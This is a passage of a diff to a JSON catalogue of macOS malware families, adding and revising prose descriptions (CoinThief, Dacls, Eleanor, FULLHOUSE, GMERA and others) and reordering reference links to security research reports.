collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim’s hard drive to a remote server\r\n- update itself to a newer version", + "description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn\u2019t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher\u2018s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim\u2019s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a \u201cPop-up blocker\u201d. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker\u2019s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim\u2019s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim\u2019s hard drive to a remote server\r\n- update itself to a newer version", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief", - "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", - "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/" + "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/", + "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed" ], "synonyms": [], "type": [] @@ -8876,8 +9255,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis", "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", - "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", - "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines" + "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", + "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html" ], "synonyms": [], "type": [] @@ -8899,21 +9278,21 @@ "value": "Crossrider" }, { - "description": "", + "description": "According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.\r\n\r\nResearch shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls", - "https://objective-see.com/blog/blog_0x57.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", - "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", "https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://objective-see.com/blog/blog_0x57.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", "https://www.sygnia.co/mata-framework", - "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/" ], "synonyms": [], "type": [] @@ -8976,7 +9355,7 @@ "value": "Dummy" }, { - "description": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim’s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim’s webcam\r\n- Sending emails with an attachment", + "description": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim\u2019s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim\u2019s webcam\r\n- Sending emails with an attachment", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor", @@ -8989,12 +9368,12 @@ "value": "Eleanor" }, { - "description": "", + "description": "According to PCrisk, ElectroRAT is a Remote Access Trojan (RAT) written in the Go programming language and designed to target Windows, MacOS, and Linux users. Cyber criminals behind ElectroRAT target mainly cryptocurrency users. This RAT is distributed via the trojanized Jamm, eTrader, and DaoPoker applications.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.electro_rat", - "https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/", "https://objective-see.com/blog/blog_0x61.html", + "https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf" ], "synonyms": [], @@ -9022,16 +9401,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest", + "https://objective-see.com/blog/blog_0x59.html", + "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://github.com/gdbinit/evilquest_deobfuscator", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://twitter.com/dineshdina04/status/1277668001538433025", "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", - "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", - "https://objective-see.com/blog/blog_0x59.html", - "https://github.com/gdbinit/evilquest_deobfuscator", - "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/" + "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/" ], "synonyms": [ "ThiefQuest" @@ -9059,12 +9438,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", - "https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://objective-see.com/blog/blog_0x4F.html", "https://securelist.com/finspy-unseen-findings/104322/", - "https://objective-see.com/blog/blog_0x5F.html" + "https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/" ], "synonyms": [], "type": [] @@ -9077,11 +9456,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", - "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", - "http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html", "https://en.wikipedia.org/wiki/Flashback_(Trojan)", - "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html" + "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", + "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", + "http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html" ], "synonyms": [ "FakeFlash" @@ -9096,12 +9475,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly", - "https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf", - "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", - "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", + "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", + "https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf" ], "synonyms": [ "Quimitchin" @@ -9111,28 +9490,41 @@ "uuid": "a517cdd1-6c82-4b29-bdd2-87e281227597", "value": "FruitFly" }, + { + "description": "Fullhouse (AKA FULLHOUSE.DOORED) is a custom backdoor used by subsets of the North Korean Lazarus Group. Fullhouse is written in C/C++ and includes the capabilities of a tunneler and backdoor commands support such as shell command execution, file transfer, file managment, and process injection. C2 communications occur via HTTP and require configuration through the command line or a configuration file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.fullhouse", + "https://www.mandiant.com/resources/blog/north-korea-supply-chain" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2ab781d8-214d-41e2-acc9-23ded4f77663", + "value": "FULLHOUSE" + }, { "description": "This multi-platform malware is a ObjectiveC written macOS variant dubbed GIMMICK by Volexity. This malware is a file-based C2 implant used by Storm Cloud.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick", - "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/", - "https://cybersecuritynews.com/gimmick-malware-attacks/" + "https://cybersecuritynews.com/gimmick-malware-attacks/", + "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" ], "synonyms": [], "type": [] }, "uuid": "0e259d0f-717a-4ced-ac58-6fe9d72e2c96", - "value": "GIMMICK" + "value": "GIMMICK (OS X)" }, { - "description": "", + "description": "According to PCrisk, GMERA (also known as Kassi trojan) is malicious software that disguises itself as Stockfolio, a legitimate trading app created for Mac users.\r\n\r\nResearch shows that there are two variants of this malware, one detected as Trojan.MacOS.GMERA.A and the other as Trojan.MacOS.GMERA.B. Cyber criminals proliferate GMERA to steal various information and upload it to a website under their control. To avoid damage caused by this malware, remove GMERA immediately.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera", + "https://objective-see.com/blog/blog_0x53.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/", - "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", - "https://objective-see.com/blog/blog_0x53.html" + "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/" ], "synonyms": [ "Kassi", @@ -9144,7 +9536,7 @@ "value": "Gmera" }, { - "description": "", + "description": "According to Malwarebytes, The HiddenLotus \"dropper\" is an application named L\u00ea Thu H\u00e0 (HAEDC).pdf, using an old trick of disguising itself as a document - in this case, an Adobe Acrobat file.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus", @@ -9178,7 +9570,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.interception", - "https://labs.k7computing.com/index.php/lazarus-apts-operation-interception-uses-signed-binary/" + "https://www.sentinelone.com/blog/lazarus-operation-interception-targets-macos-users-dreaming-of-jobs-in-crypto", + "https://labs.k7computing.com/index.php/lazarus-apts-operation-interception-uses-signed-binary/", + "https://twitter.com/ESETresearch/status/1559553324998955010" ], "synonyms": [], "type": [] @@ -9191,18 +9585,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", - "https://www.malwarology.com/posts/5-janicab-part_1/", - "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", - "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/", - "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", - "https://archive.f-secure.com/weblog/archives/00002576.html", - "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/", + "https://archive.f-secure.com/weblog/archives/00002576.html", + "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", "https://www.macmark.de/blog/osx_blog_2013-08-a.php", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/" + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", + "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", + "https://www.malwarology.com/posts/5-janicab-part_1/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/", + "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html" ], "synonyms": [], "type": [] @@ -9210,13 +9604,26 @@ "uuid": "01325d85-297f-40d5-b829-df9bd996af5a", "value": "Janicab (OS X)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.jokerspy", + "https://www.elastic.co/security-labs/inital-research-of-jokerspy" + ], + "synonyms": [], + "type": [] + }, + "uuid": "171b0695-8cea-4ca6-a3f0-c9a8455ef9de", + "value": "JokerSpy" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger", - "http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/", "https://objective-see.com/blog/blog_0x16.html", + "http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/", "https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html" ], "synonyms": [], @@ -9230,10 +9637,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap", + "https://objective-see.com/blog/blog_0x16.html", "https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/", "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://github.com/eset/malware-ioc/tree/master/keydnap", - "https://objective-see.com/blog/blog_0x16.html" + "https://github.com/eset/malware-ioc/tree/master/keydnap" ], "synonyms": [], "type": [] @@ -9261,11 +9668,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", "https://objective-see.com/blog/blog_0x16.html", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", "http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/" + "https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html" ], "synonyms": [ "JHUHUGIT", @@ -9324,8 +9731,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage", - "https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/", - "https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis" + "https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis", + "https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/" ], "synonyms": [], "type": [] @@ -9339,7 +9746,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.lockbit", "https://twitter.com/malwrhunterteam/status/1647384505550876675", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf" + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", + "https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/" ], "synonyms": [], "type": [] @@ -9379,8 +9788,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom", - "https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service", - "https://objective-see.com/blog/blog_0x1E.html" + "https://objective-see.com/blog/blog_0x1E.html", + "https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service" ], "synonyms": [], "type": [] @@ -9432,10 +9841,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.anquanke.com/post/id/223817", + "https://twitter.com/BitsOfBinary/status/1337330286787518464", "https://twitter.com/BitsOfBinary/status/1321488299932983296", - "https://twitter.com/BitsOfBinary/status/1337330286787518464" + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.anquanke.com/post/id/223817" ], "synonyms": [], "type": [] @@ -9471,22 +9880,35 @@ "uuid": "aa1bf4e5-9c44-42a2-84e5-7526e4349405", "value": "Mughthesec" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.netwire", + "https://www.intego.com/mac-security-blog/fbi-shuts-down-11-year-old-netwire-rat-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f0d52afd-e7c9-4bd1-be8a-9ab09b14ea24", + "value": "NetWire" + }, { "description": "According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.\r\n\r\nThe OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious Word document (it is likely that threat authors distribute the document via malspam emails).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus", - "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/", - "https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/", - "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", - "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468", - "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html" + "https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/", + "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/", + "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam" ], "synonyms": [], "type": [] @@ -9499,8 +9921,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx", - "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html", - "https://news.drweb.com/show/?i=1750&lng=en&c=14" + "https://news.drweb.com/show/?i=1750&lng=en&c=14", + "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html" ], "synonyms": [], "type": [] @@ -9513,9 +9935,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", "https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf" ], "synonyms": [], @@ -9554,7 +9976,7 @@ "value": "Patcher" }, { - "description": "Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.", + "description": "Backdoor as a fork of OpenSSH_6.0 with no logging, and \u201c-P\u201d and \u201c-z\u201d hidden command arguments. \u201cPuffySSH_5.8p1\u201d string.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized", @@ -9571,10 +9993,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit", - "http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/", - "https://forensicitguy.github.io/analyzing-pirrit-adware-installer/", - "https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf", "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", + "https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf", + "https://forensicitguy.github.io/analyzing-pirrit-adware-installer/", + "http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [], @@ -9588,8 +10010,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.poolrat", + "https://www.3cx.com/blog/news/mandiant-security-update2/", "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", - "https://www.3cx.com/blog/news/mandiant-security-update2/" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment" ], "synonyms": [], "type": [] @@ -9602,15 +10025,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat", - "https://objective-see.com/blog/blog_0x1F.html", - "https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does", - "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", - "https://securelist.com/calisto-trojan-for-macos/86543/", "https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/", - "https://objective-see.com/blog/blog_0x1D.html", - "https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf", + "https://securelist.com/calisto-trojan-for-macos/86543/", + "https://objective-see.com/blog/blog_0x1F.html", + "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", + "https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/", + "https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does", "https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/", - "https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/" + "https://objective-see.com/blog/blog_0x1D.html", + "https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf" ], "synonyms": [ "Calisto" @@ -9638,10 +10061,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe", - "https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/", "http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", - "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", - "https://www.govcert.admin.ch/blog/33/the-retefe-saga" + "https://www.govcert.admin.ch/blog/33/the-retefe-saga", + "https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/", + "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe" ], "synonyms": [ "Retefe" @@ -9656,29 +10079,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.rustbucket", + "https://www.sentinelone.com/blog/bluenoroff-how-dprks-macos-rustbucket-seeks-to-evade-analysis-and-detection/", + "https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket", + "https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html", "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/" ], "synonyms": [], "type": [] }, "uuid": "03f356e6-296f-4195-bed0-9719a84887db", - "value": "RustBucket" + "value": "RustBucket (OS X)" }, { - "description": "", + "description": "According to PCrisk, Shlayer is a trojan-type virus designed to proliferate various adware and other unwanted applications, and promote fake search engines. It is typically disguised as a Adobe Flash Player installer and various software cracking tools.\r\n\r\nIn most cases, users encounter this virus when visiting dubious Torrent websites that are full of intrusive advertisements and deceptive downloads.", "meta": { 